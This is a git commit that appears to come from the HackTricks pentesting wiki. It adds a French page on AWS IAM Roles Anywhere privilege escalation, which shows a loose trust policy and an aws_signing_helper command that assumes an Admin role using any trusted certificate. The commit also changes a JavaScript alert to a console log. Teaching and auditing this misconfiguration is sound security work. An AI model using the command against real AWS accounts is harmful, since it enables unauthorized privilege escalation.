Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-06-24 14:00:32 +00:00
parent 3c780fad2a
commit 123c36f493
2 changed files with 43 additions and 1 deletions

View File

@@ -0,0 +1,42 @@
# AWS - IAM Roles Anywhere Privesc
{{#include ../../../../banners/hacktricks-training.md}}
AWS IAM RolesAnywhere permet aux charges de travail en dehors d'AWS d'assumer des rôles IAM en utilisant des certificats X.509. Mais lorsque les politiques de confiance ne sont pas correctement définies, elles peuvent être abusées pour une élévation de privilèges.
Cette politique manque de restrictions sur les ancres de confiance ou les attributs de certificat autorisés. En conséquence, tout certificat lié à n'importe quelle ancre de confiance dans le compte peut être utilisé pour assumer ce rôle.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "rolesanywhere.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:SetSourceIdentity",
"sts:TagSession"
]
}
]
}
```
Pour le privesc, le `aws_signing_helper` est requis à partir de https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
Ensuite, en utilisant un certificat valide, l'attaquant peut pivoter vers le rôle à privilèges supérieurs.
```bash
aws_signing_helper credential-process \
--certificate readonly.pem \
--private-key readonly.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
--role-arn arn:aws:iam::123456789012:role/Admin
```
### Références
- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -226,7 +226,7 @@
`threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`;
} catch (e) {
console.error("Error creating threadId:", e);
alert("Failed to initialise the conversation. Please refresh.");
console.log("Failed to initialise the conversation. Please refresh.");
throw e;
}
}